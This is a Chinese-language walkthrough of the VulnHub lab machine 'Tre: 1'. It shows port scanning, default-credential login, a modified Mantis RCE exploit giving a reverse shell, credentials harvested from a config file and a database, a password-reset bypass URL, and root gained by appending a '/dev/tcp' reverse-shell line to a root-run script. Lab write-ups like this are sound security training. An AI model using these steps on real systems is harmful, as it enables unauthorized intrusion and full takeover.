一、靶机地址

靶机地址:Tre: 1 ~ VulnHub

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息搜集
  • 进阶路径枚举
  • EXP代码改造
  • 突破边界方法1
  • 突破边界方法2
  • 突破边界方法3
  • 权限提升

二、主机发现

arp-scan -l

靶机地址为192.168.43.160

image-20241010093934535

三、端口扫描

nmap  -p- 192.156.43.150
nmap -p22,80,8082 192.168.43.160 -sV -sC

发现靶机开放22,80,8082这三个端口,其中80和8082对应分别是apache和nginx但是跑到内容是相同的

image-20241010094937616

image-20241010095024213

四、目录扫描

访问web页面就是一张图片,两个web端口上的内容是一样的,源代码也十分简单

发现不了更多的信息了,就进行目录扫描

dirsearch -u "http://192.168.43.160/"

发现一个登录页面,还有401状态的页面,

状态码401表面需要进行身份验证

image-20241010095506726

访问adminer.php页面发现是一个adminer的登录后台

adminer的版本是4.7.7,在kali中搜索使用,发现一个低版本的ssrf

但是我在网上也搜到了一个ssrf适用范围是4.0.0-4.7.9,漏洞编码是cve-2021-21311,但是我没利用成功

searchsploit adminer

image-20241010100200539

根据目录扫描结果还有一个info.php,暴露了配置信息

http://192.168.43.160//info.php

image-20241010100349062

访问401状态码的system目录,尝试admin:admin发现验证成功了

image-20241010100425556

进入之后发现是mantis框架的网站

image-20241010100441975

五、突破边界(三种方式)

5.1、远程代码执行

searchsploit mantis

在kali中搜索是否存在对应的payload,发现这个cms存在很多漏洞,找了一个版本比较高对应的rce进行尝试

image-20241010101128666

由于状态码是401,室友认证机制的,所以我们拿一下认证信息,便于后面操作

echo "YWRtaW46YWRtaW4=" |base64 -d

解码发现就是账号和密码

image-20241010100637591

cp /usr/share/exploitdb/exploits/php/webapps/48818.py .		# 将利用脚本复制到当前目录下
vim 48818.py # 对脚本进行修改
nc -lvnp 4444 # kali 监听
python2 48818.py # 运行修改后的脚本

在脚本中将攻击机受害机ip地址更改为我们对应的,将认证信息添加上

image-20241010102515996

执行成功

image-20241010102643383

成功监听到,获取到了shell

image-20241010102650737

5.2、进阶路径扫描

将认证信息添加一下,对401下的system目录进行扫描,

dirsearch -u "http://192.168.43.160/system/" --header="Authorization:Basic YWRtaW46YWRtaW4="

在这个新的目录下,扫描出新的路径了

image-20241010103225108

访问config这个路径

image-20241010103057888

在system/config目录下a.txt中发现一对账号密码,还有数据库的相关配置

username=“mantissuser”

password=“password@123AS”

image-20241010103124010

http://192.168.43.160/adminer.php

在adminer.php中获取到的账号密码以及数据库名填入,发现登录成功

image-20241010103410464

选择用户数据表,使用sql语句查询表中的内容

image-20241010103747896

发现账号密码

tre

Tr3@123456A!

image-20241010103820678

尝试ssh登录,发现登录成功

ssh tre@192.168.43.160
Tr3@123456A!

image-20241010104020592

5.3、重置密码

同样利用mantis这个cms,发现除了rce漏洞版本比较高,还有一个密码重置漏洞的版本也同样高,尝试利用

searchsploit mantis

image-20241010104318936

查看漏洞的利用方式

cat /usr/share/exploitdb/exploits/php/webapps/41890.txt

大概意思就是,访问这个url会直接跳转到密码重置页面

image-20241010104631133

根据上面的描述发现id为1时,对应的是管理员

http://192.168.43.160/system/verify.php?id=1&confirm_hash=

直接跳转到了密码重置页面,自己随便输一个密码,然后进行登录

image-20241010104659132

在用户管理界面,同样能获得到这两个对账号密码

image-20241010104752126

六、提权

6.1、suid信息获取

随便使一个终端进行提权尝试

sudo -l

发现shutdown这个关机命令不用使用密码就能执行

image-20241010105137242

6.2、权限异常的文件

搜索文件属组为root,其他用户可以写的文件

find / -type f -perm -o=w -user root -ls 2>/dev/null	
find / -type f -perm -o=w -user root -ls 2>/dev/null | grep -v "/proc"
find / -type f -perm -o=w -user root -ls 2>/dev/null | grep -v "/proc" | grep -v "/sys/fs/cgroup"

grep -v 过滤相应的信息

经过过滤,就剩下这几个了,看起来最后一个有点陌生,先看最后一个

image-20241010105700306

查看这个文件的权限,发现属于root用户,但是其他用户有读写权限

查看文件的内容

ls -al /usr/bin/check-system
cat /usr/bin/check-system

发现就是脚本,是执行系统命令的

image-20241010105637232

ps-ef

发现这个脚本是以root权限运行的/bin/bash

image-20241010110332148

将反弹shell的命令写入这个脚本中,根据之前发现shutdown命令可以不用密码执行,于是使用sudo权限执行shutdown命令,重启操作系统,借此运行脚本,进而获取root权限的bash

/bin/bash -i >& /dev/tcp/192.168.43.159/5555 0>&1		# 反弹shell的语句
vi /usr/bin/check-system # 将语句放入到脚本中
cat /usr/bin/check-system
nc -lvnp 5555 # 监听端口
sudo shutdown -r now # 重启靶机

image-20241010111714137

反弹成功

cd /root
cat root.txt

image-20241010111757099

参考文章:27 TRE: 1靶场(完成) (yuque.com)